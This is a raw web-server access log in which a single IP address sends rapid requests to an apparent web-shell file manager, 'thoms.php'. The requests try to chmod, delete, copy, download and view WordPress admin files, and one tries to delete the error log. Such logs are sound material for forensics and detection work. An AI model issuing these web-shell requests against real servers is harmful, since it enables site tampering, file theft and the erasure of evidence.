45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /thoms.php?chmod=css&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=css&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /thoms.php?del=about.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=about.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin-functions.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin-functions.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /bfl.com.tw/wp-admin/options-privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?dl=plugin-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?chmod=plugins.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fusers.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fusers.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /bfl.com.tw/wp-admin/options-permalink.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?dl=themes.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=users.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?chmod=admin-functions.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?dl=freedoms.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?chmod=edit-tags.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ftheme-install.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ftheme-install.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fupdate-core.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fupdate-core.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=theme-install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fuser-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fuser-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /thoms.php?dl=async-upload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /bfl.com.tw/wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:13 -0400] "GET /bfl.com.tw/wp-admin/privacy-policy-guide.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /thoms.php?del=freedoms.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /bfl.com.tw/wp-admin/admin-post.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /bfl.com.tw/wp-admin/custom-background.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /thoms.php?chmod=load-scripts.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fsetup-config.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fsetup-config.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /bfl.com.tw/wp-admin/edit-form-comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /bfl.com.tw/wp-admin/update.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /bfl.com.tw/wp-admin/export-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmedia-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmedia-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=menu.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:14 -0400] "GET /bfl.com.tw/wp-admin/ms-admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /thoms.php?del=ms-sites.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /thoms.php?del=options-privacy.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /thoms.php?del=ms-options.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-connectors.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-connectors.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /thoms.php?dl=options-media.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /thoms.php?dl=plugins.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /bfl.com.tw/wp-admin/options-connectors.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=async-upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /bfl.com.tw/wp-admin/network/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:15 -0400] "GET /bfl.com.tw/wp-admin/upgrade-functions.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?del=themes.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=themes.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin-footer.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin-footer.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fplugins.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fplugins.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?dl=term.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=term.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=tools.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcontribute.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcontribute.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?del=error_log&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error_log&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?dl=moderation.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /bfl.com.tw/wp-admin/plugin-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /bfl.com.tw/wp-admin/about.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:16 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fasync-upload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fasync-upload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?del=edit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?dl=font-library.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=font-library.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /bfl.com.tw/wp-admin/edit-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?del=index.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Flink.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Flink.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcss&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /bfl.com.tw/wp-admin/css/ HTTP/1.1" 200 3633 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?dl=authorize-application.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?dl=comment.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
